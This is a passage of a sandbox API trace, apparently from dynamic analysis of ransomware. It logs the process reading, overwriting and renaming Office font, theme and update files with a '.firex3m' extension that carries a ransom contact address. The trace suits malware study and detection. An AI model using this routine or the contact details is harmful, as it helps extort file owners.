hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0268.032] CloseHandle (hObject=0x6d0) returned 1 [0268.033] GetProcessHeap () returned 0x630000 [0268.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0268.033] GetProcessHeap () returned 0x630000 [0268.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0268.041] GetProcessHeap () returned 0x630000 [0268.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0268.041] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0268.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ba1ded, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x65b5e8c3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x109f4, dwReserved0=0x9647496, dwReserved1=0x71c0040, cFileName="ICE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ICEELM~1.FIR")) returned 0x6d51c0 [0268.041] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0268.041] Sleep (dwMilliseconds=0x1) [0270.163] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKI.TTF", len=0x44 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKI.TTF") returned 1 [0270.163] GetProcessHeap () returned 0x630000 [0270.163] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b30) returned 0x6fe3bb0 [0270.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKI.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbki.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0270.165] CloseHandle (hObject=0x718) returned 1 [0270.165] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0270.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKI.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbki.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKI.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbki.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0270.167] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0270.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKI.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88c78740, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88c78740, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHLBKI.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCHLBK~1.FIR")) returned 0x6d5340 [0270.167] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0270.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKI.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbki.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0270.167] GetProcessHeap () returned 0x630000 [0270.167] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f8cce0 [0270.168] GetProcessHeap () returned 0x630000 [0270.168] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f98110 [0270.168] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.168] ReadFile (in: hFile=0x718, lpBuffer=0x6f8cce0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8cce0*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 84 os_tid = 0x12c0 [0067.704] Sleep (dwMilliseconds=0x1) [0067.824] Sleep (dwMilliseconds=0x1) [0067.937] Sleep (dwMilliseconds=0x1) [0068.040] Sleep (dwMilliseconds=0x1) [0068.149] Sleep (dwMilliseconds=0x1) [0068.280] Sleep (dwMilliseconds=0x1) [0068.398] Sleep (dwMilliseconds=0x1) [0068.496] Sleep (dwMilliseconds=0x1) [0068.541] Sleep (dwMilliseconds=0x1) [0068.701] Sleep (dwMilliseconds=0x1) [0068.743] Sleep (dwMilliseconds=0x1) [0068.796] Sleep (dwMilliseconds=0x1) [0068.839] Sleep (dwMilliseconds=0x1) [0068.887] Sleep (dwMilliseconds=0x1) [0068.931] Sleep (dwMilliseconds=0x1) [0068.979] Sleep (dwMilliseconds=0x1) [0069.044] Sleep (dwMilliseconds=0x1) [0069.108] Sleep (dwMilliseconds=0x1) [0069.155] Sleep (dwMilliseconds=0x1) [0069.202] Sleep (dwMilliseconds=0x1) [0069.245] Sleep (dwMilliseconds=0x1) [0069.296] Sleep (dwMilliseconds=0x1) [0069.374] Sleep (dwMilliseconds=0x1) [0069.439] Sleep (dwMilliseconds=0x1) [0069.479] Sleep (dwMilliseconds=0x1) [0069.526] Sleep (dwMilliseconds=0x1) [0069.691] Sleep (dwMilliseconds=0x1) [0069.923] Sleep (dwMilliseconds=0x1) [0070.142] Sleep (dwMilliseconds=0x1) [0070.266] Sleep (dwMilliseconds=0x1) [0070.378] Sleep (dwMilliseconds=0x1) [0070.532] Sleep (dwMilliseconds=0x1) [0070.872] Sleep (dwMilliseconds=0x1) [0071.566] Sleep (dwMilliseconds=0x1) [0071.937] Sleep (dwMilliseconds=0x1) [0072.427] Sleep (dwMilliseconds=0x1) [0072.609] Sleep (dwMilliseconds=0x1) [0072.797] Sleep (dwMilliseconds=0x1) [0072.909] Sleep (dwMilliseconds=0x1) [0073.096] Sleep (dwMilliseconds=0x1) [0073.393] Sleep (dwMilliseconds=0x1) [0073.722] Sleep (dwMilliseconds=0x1) [0073.933] Sleep (dwMilliseconds=0x1) [0074.046] Sleep (dwMilliseconds=0x1) [0074.178] Sleep (dwMilliseconds=0x1) [0074.383] Sleep (dwMilliseconds=0x1) [0074.669] Sleep (dwMilliseconds=0x1) [0074.774] Sleep (dwMilliseconds=0x1) [0074.846] Sleep (dwMilliseconds=0x1) [0074.911] Sleep (dwMilliseconds=0x1) [0075.001] Sleep (dwMilliseconds=0x1) [0075.059] Sleep (dwMilliseconds=0x1) [0075.107] Sleep (dwMilliseconds=0x1) [0075.156] Sleep (dwMilliseconds=0x1) [0075.217] Sleep (dwMilliseconds=0x1) [0075.263] Sleep (dwMilliseconds=0x1) [0075.305] Sleep (dwMilliseconds=0x1) [0075.361] Sleep (dwMilliseconds=0x1) [0075.422] Sleep (dwMilliseconds=0x1) [0075.512] Sleep (dwMilliseconds=0x1) [0075.569] Sleep (dwMilliseconds=0x1) [0075.611] Sleep (dwMilliseconds=0x1) [0075.692] Sleep (dwMilliseconds=0x1) [0075.749] Sleep (dwMilliseconds=0x1) [0075.788] Sleep (dwMilliseconds=0x1) [0075.835] Sleep (dwMilliseconds=0x1) [0076.044] Sleep (dwMilliseconds=0x1) [0076.063] Sleep (dwMilliseconds=0x1) [0076.082] Sleep (dwMilliseconds=0x1) [0076.107] Sleep (dwMilliseconds=0x1) [0076.185] Sleep (dwMilliseconds=0x1) [0076.392] Sleep (dwMilliseconds=0x1) [0076.529] Sleep (dwMilliseconds=0x1) [0076.672] Sleep (dwMilliseconds=0x1) [0076.752] Sleep (dwMilliseconds=0x1) [0076.780] Sleep (dwMilliseconds=0x1) [0076.798] Sleep (dwMilliseconds=0x1) [0076.840] Sleep (dwMilliseconds=0x1) [0076.872] Sleep (dwMilliseconds=0x1) [0076.919] Sleep (dwMilliseconds=0x1) [0076.986] Sleep (dwMilliseconds=0x1) [0077.064] Sleep (dwMilliseconds=0x1) [0077.148] Sleep (dwMilliseconds=0x1) [0077.220] Sleep (dwMilliseconds=0x1) [0077.290] Sleep (dwMilliseconds=0x1) [0077.358] Sleep (dwMilliseconds=0x1) [0077.413] Sleep (dwMilliseconds=0x1) [0077.519] Sleep (dwMilliseconds=0x1) [0077.599] Sleep (dwMilliseconds=0x1) [0077.647] Sleep (dwMilliseconds=0x1) [0077.690] Sleep (dwMilliseconds=0x1) [0077.735] Sleep (dwMilliseconds=0x1) [0077.783] Sleep (dwMilliseconds=0x1) [0077.832] Sleep (dwMilliseconds=0x1) [0077.858] Sleep (dwMilliseconds=0x1) [0077.910] Sleep (dwMilliseconds=0x1) [0077.960] Sleep (dwMilliseconds=0x1) [0077.980] Sleep (dwMilliseconds=0x1) [0077.995] Sleep (dwMilliseconds=0x1) [0078.060] Sleep (dwMilliseconds=0x1) [0078.091] Sleep (dwMilliseconds=0x1) [0078.119] Sleep (dwMilliseconds=0x1) [0078.133] Sleep (dwMilliseconds=0x1) [0078.194] Sleep (dwMilliseconds=0x1) [0078.222] Sleep (dwMilliseconds=0x1) [0078.239] Sleep (dwMilliseconds=0x1) [0078.252] Sleep (dwMilliseconds=0x1) [0078.273] Sleep (dwMilliseconds=0x1) [0078.285] Sleep (dwMilliseconds=0x1) [0078.315] Sleep (dwMilliseconds=0x1) [0078.359] Sleep (dwMilliseconds=0x1) [0078.380] Sleep (dwMilliseconds=0x1) [0078.449] Sleep (dwMilliseconds=0x1) [0078.533] Sleep (dwMilliseconds=0x1) [0078.562] Sleep (dwMilliseconds=0x1) [0078.611] Sleep (dwMilliseconds=0x1) [0078.625] Sleep (dwMilliseconds=0x1) [0078.647] Sleep (dwMilliseconds=0x1) [0078.658] Sleep (dwMilliseconds=0x1) [0078.677] Sleep (dwMilliseconds=0x1) [0078.709] Sleep (dwMilliseconds=0x1) [0078.720] Sleep (dwMilliseconds=0x1) [0078.739] Sleep (dwMilliseconds=0x1) [0078.753] Sleep (dwMilliseconds=0x1) [0078.771] Sleep (dwMilliseconds=0x1) [0078.785] Sleep (dwMilliseconds=0x1) [0078.839] Sleep (dwMilliseconds=0x1) [0078.885] Sleep (dwMilliseconds=0x1) [0078.896] Sleep (dwMilliseconds=0x1) [0078.926] Sleep (dwMilliseconds=0x1) [0078.947] Sleep (dwMilliseconds=0x1) [0078.956] Sleep (dwMilliseconds=0x1) [0078.980] Sleep (dwMilliseconds=0x1) [0079.001] Sleep (dwMilliseconds=0x1) [0079.033] Sleep (dwMilliseconds=0x1) [0079.048] Sleep (dwMilliseconds=0x1) [0079.081] Sleep (dwMilliseconds=0x1) [0079.097] Sleep (dwMilliseconds=0x1) [0079.117] Sleep (dwMilliseconds=0x1) [0079.128] Sleep (dwMilliseconds=0x1) [0079.160] Sleep (dwMilliseconds=0x1) [0079.223] Sleep (dwMilliseconds=0x1) [0079.251] Sleep (dwMilliseconds=0x1) [0079.268] Sleep (dwMilliseconds=0x1) [0079.288] Sleep (dwMilliseconds=0x1) [0079.299] Sleep (dwMilliseconds=0x1) [0079.316] Sleep (dwMilliseconds=0x1) [0079.329] Sleep (dwMilliseconds=0x1) [0079.349] Sleep (dwMilliseconds=0x1) [0079.360] Sleep (dwMilliseconds=0x1) [0079.389] Sleep (dwMilliseconds=0x1) [0079.417] Sleep (dwMilliseconds=0x1) [0079.422] Sleep (dwMilliseconds=0x1) [0079.448] Sleep (dwMilliseconds=0x1) [0079.514] Sleep (dwMilliseconds=0x1) [0079.544] Sleep (dwMilliseconds=0x1) [0079.604] Sleep (dwMilliseconds=0x1) [0079.610] Sleep (dwMilliseconds=0x1) [0079.630] Sleep (dwMilliseconds=0x1) [0079.641] Sleep (dwMilliseconds=0x1) [0079.662] Sleep (dwMilliseconds=0x1) [0079.674] Sleep (dwMilliseconds=0x1) [0079.691] Sleep (dwMilliseconds=0x1) [0079.737] Sleep (dwMilliseconds=0x1) [0079.802] Sleep (dwMilliseconds=0x1) [0079.814] Sleep (dwMilliseconds=0x1) [0079.832] Sleep (dwMilliseconds=0x1) [0079.889] Sleep (dwMilliseconds=0x1) [0079.917] Sleep (dwMilliseconds=0x1) [0079.931] Sleep (dwMilliseconds=0x1) [0079.940] Sleep (dwMilliseconds=0x1) [0079.984] Sleep (dwMilliseconds=0x1) [0080.050] Sleep (dwMilliseconds=0x1) [0080.068] Sleep (dwMilliseconds=0x1) [0080.086] Sleep (dwMilliseconds=0x1) [0080.097] Sleep (dwMilliseconds=0x1) [0080.139] Sleep (dwMilliseconds=0x1) [0080.158] Sleep (dwMilliseconds=0x1) [0080.175] Sleep (dwMilliseconds=0x1) [0080.235] Sleep (dwMilliseconds=0x1) [0080.262] Sleep (dwMilliseconds=0x1) [0080.287] Sleep (dwMilliseconds=0x1) [0080.299] Sleep (dwMilliseconds=0x1) [0080.321] Sleep (dwMilliseconds=0x1) [0080.340] Sleep (dwMilliseconds=0x1) [0080.363] Sleep (dwMilliseconds=0x1) [0080.380] Sleep (dwMilliseconds=0x1) [0080.394] Sleep (dwMilliseconds=0x1) [0080.408] Sleep (dwMilliseconds=0x1) [0080.428] Sleep (dwMilliseconds=0x1) [0080.439] Sleep (dwMilliseconds=0x1) [0080.505] Sleep (dwMilliseconds=0x1) [0080.524] Sleep (dwMilliseconds=0x1) [0080.542] Sleep (dwMilliseconds=0x1) [0080.551] Sleep (dwMilliseconds=0x1) [0080.565] Sleep (dwMilliseconds=0x1) [0080.585] Sleep (dwMilliseconds=0x1) [0080.603] Sleep (dwMilliseconds=0x1) [0080.617] Sleep (dwMilliseconds=0x1) [0080.658] Sleep (dwMilliseconds=0x1) [0080.675] Sleep (dwMilliseconds=0x1) [0080.701] Sleep (dwMilliseconds=0x1) [0080.725] Sleep (dwMilliseconds=0x1) [0080.763] Sleep (dwMilliseconds=0x1) [0080.790] Sleep (dwMilliseconds=0x1) [0080.802] Sleep (dwMilliseconds=0x1) [0080.822] Sleep (dwMilliseconds=0x1) [0080.833] Sleep (dwMilliseconds=0x1) [0080.850] Sleep (dwMilliseconds=0x1) [0080.886] Sleep (dwMilliseconds=0x1) [0080.896] Sleep (dwMilliseconds=0x1) [0080.913] Sleep (dwMilliseconds=0x1) [0080.927] Sleep (dwMilliseconds=0x1) [0080.938] Sleep (dwMilliseconds=0x1) [0080.962] Sleep (dwMilliseconds=0x1) [0080.973] Sleep (dwMilliseconds=0x1) [0080.994] Sleep (dwMilliseconds=0x1) [0081.000] Sleep (dwMilliseconds=0x1) [0081.031] Sleep (dwMilliseconds=0x1) [0081.051] Sleep (dwMilliseconds=0x1) [0081.284] Sleep (dwMilliseconds=0x1) [0081.434] Sleep (dwMilliseconds=0x1) [0081.525] Sleep (dwMilliseconds=0x1) [0081.539] Sleep (dwMilliseconds=0x1) [0081.562] Sleep (dwMilliseconds=0x1) [0081.582] Sleep (dwMilliseconds=0x1) [0081.599] Sleep (dwMilliseconds=0x1) [0081.613] Sleep (dwMilliseconds=0x1) [0081.628] Sleep (dwMilliseconds=0x1) [0081.665] Sleep (dwMilliseconds=0x1) [0081.682] Sleep (dwMilliseconds=0x1) [0081.692] Sleep (dwMilliseconds=0x1) [0081.709] Sleep (dwMilliseconds=0x1) [0081.757] Sleep (dwMilliseconds=0x1) [0081.776] Sleep (dwMilliseconds=0x1) [0081.789] Sleep (dwMilliseconds=0x1) [0081.832] Sleep (dwMilliseconds=0x1) [0081.849] Sleep (dwMilliseconds=0x1) [0081.886] Sleep (dwMilliseconds=0x1) [0081.893] Sleep (dwMilliseconds=0x1) [0081.910] Sleep (dwMilliseconds=0x1) [0081.926] Sleep (dwMilliseconds=0x1) [0081.942] Sleep (dwMilliseconds=0x1) [0081.967] Sleep (dwMilliseconds=0x1) [0081.987] Sleep (dwMilliseconds=0x1) [0082.002] Sleep (dwMilliseconds=0x1) [0082.036] Sleep (dwMilliseconds=0x1) [0082.050] Sleep (dwMilliseconds=0x1) [0082.069] Sleep (dwMilliseconds=0x1) [0082.112] Sleep (dwMilliseconds=0x1) [0082.133] Sleep (dwMilliseconds=0x1) [0082.151] Sleep (dwMilliseconds=0x1) [0082.158] Sleep (dwMilliseconds=0x1) [0082.194] Sleep (dwMilliseconds=0x1) [0082.215] Sleep (dwMilliseconds=0x1) [0082.232] Sleep (dwMilliseconds=0x1) [0082.259] Sleep (dwMilliseconds=0x1) [0082.276] Sleep (dwMilliseconds=0x1) [0082.295] Sleep (dwMilliseconds=0x1) [0082.308] Sleep (dwMilliseconds=0x1) [0082.371] Sleep (dwMilliseconds=0x1) [0082.417] Sleep (dwMilliseconds=0x1) [0082.541] Sleep (dwMilliseconds=0x1) [0082.587] Sleep (dwMilliseconds=0x1) [0082.637] Sleep (dwMilliseconds=0x1) [0082.682] Sleep (dwMilliseconds=0x1) [0082.729] Sleep (dwMilliseconds=0x1) [0082.776] Sleep (dwMilliseconds=0x1) [0082.822] Sleep (dwMilliseconds=0x1) [0082.870] Sleep (dwMilliseconds=0x1) [0082.917] Sleep (dwMilliseconds=0x1) [0082.968] Sleep (dwMilliseconds=0x1) [0083.016] Sleep (dwMilliseconds=0x1) [0083.054] Sleep (dwMilliseconds=0x1) [0083.104] Sleep (dwMilliseconds=0x1) [0083.150] Sleep (dwMilliseconds=0x1) [0083.201] Sleep (dwMilliseconds=0x1) [0083.241] Sleep (dwMilliseconds=0x1) [0083.293] Sleep (dwMilliseconds=0x1) [0083.337] Sleep (dwMilliseconds=0x1) [0083.386] Sleep (dwMilliseconds=0x1) [0083.435] Sleep (dwMilliseconds=0x1) [0083.704] Sleep (dwMilliseconds=0x1) [0083.751] Sleep (dwMilliseconds=0x1) [0083.802] Sleep (dwMilliseconds=0x1) [0083.912] Sleep (dwMilliseconds=0x1) [0084.013] Sleep (dwMilliseconds=0x1) [0084.092] Sleep (dwMilliseconds=0x1) [0084.202] Sleep (dwMilliseconds=0x1) [0084.342] Sleep (dwMilliseconds=0x1) [0084.738] Sleep (dwMilliseconds=0x1) [0084.810] Sleep (dwMilliseconds=0x1) [0084.877] Sleep (dwMilliseconds=0x1) [0084.960] Sleep (dwMilliseconds=0x1) [0085.046] Sleep (dwMilliseconds=0x1) [0085.125] Sleep (dwMilliseconds=0x1) [0085.177] Sleep (dwMilliseconds=0x1) [0085.346] Sleep (dwMilliseconds=0x1) [0085.390] Sleep (dwMilliseconds=0x1) [0085.736] Sleep (dwMilliseconds=0x1) [0085.831] Sleep (dwMilliseconds=0x1) [0085.963] Sleep (dwMilliseconds=0x1) [0086.083] Sleep (dwMilliseconds=0x1) [0086.186] Sleep (dwMilliseconds=0x1) [0086.237] Sleep (dwMilliseconds=0x1) [0086.293] Sleep (dwMilliseconds=0x1) [0086.353] Sleep (dwMilliseconds=0x1) [0086.587] Sleep (dwMilliseconds=0x1) [0086.899] Sleep (dwMilliseconds=0x1) [0086.956] Sleep (dwMilliseconds=0x1) [0087.162] Sleep (dwMilliseconds=0x1) [0087.550] Sleep (dwMilliseconds=0x1) [0089.163] Sleep (dwMilliseconds=0x1) [0090.340] Sleep (dwMilliseconds=0x1) [0091.762] Sleep (dwMilliseconds=0x1) [0093.005] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu", len=0x37 | out: pbstr=0x65fff7c*="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 1 [0093.005] GetProcessHeap () returned 0x630000 [0093.005] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6f8, Size=0xb8) returned 0x70c5e8 [0093.005] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0093.006] CloseHandle (hObject=0x6b0) returned 1 [0093.006] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.006] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.007] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.007] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0xd1004392, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~3.FIR")) returned 0x6d5380 [0093.007] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0093.007] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0093.007] GetProcessHeap () returned 0x630000 [0093.007] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee3ce0 [0093.007] GetProcessHeap () returned 0x630000 [0093.007] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6eef110 [0093.007] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.007] ReadFile (in: hFile=0x6b0, lpBuffer=0x6ee3ce0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3ce0*, lpNumberOfBytesRead=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.291] GetProcessHeap () returned 0x630000 [0100.291] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8ca8 [0100.291] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.291] WriteFile (in: hFile=0x6b0, lpBuffer=0x6eef110*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eef110*, lpNumberOfBytesWritten=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.292] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.292] WriteFile (in: hFile=0x6b0, lpBuffer=0x6efa50f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efa50f*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.295] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.295] WriteFile (in: hFile=0x6b0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.295] CloseHandle (hObject=0x6b0) returned 1 [0101.352] GetProcessHeap () returned 0x630000 [0101.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eef110 | out: hHeap=0x630000) returned 1 [0101.352] GetProcessHeap () returned 0x630000 [0101.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3ce0 | out: hHeap=0x630000) returned 1 [0101.352] GetProcessHeap () returned 0x630000 [0101.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ca8 | out: hHeap=0x630000) returned 1 [0101.352] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0101.352] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x25b146b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x217544, dwReserved0=0x9707496, dwReserved1=0x6ee3cd8, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~3.FIR")) returned 0x6d4e40 [0101.352] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0101.353] Sleep (dwMilliseconds=0x1) [0101.959] Sleep (dwMilliseconds=0x1) [0102.319] Sleep (dwMilliseconds=0x1) [0102.523] Sleep (dwMilliseconds=0x1) [0102.775] Sleep (dwMilliseconds=0x1) [0102.986] Sleep (dwMilliseconds=0x1) [0103.134] Sleep (dwMilliseconds=0x1) [0103.270] Sleep (dwMilliseconds=0x1) [0103.546] Sleep (dwMilliseconds=0x1) [0105.074] Sleep (dwMilliseconds=0x1) [0107.376] Sleep (dwMilliseconds=0x1) [0109.653] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft 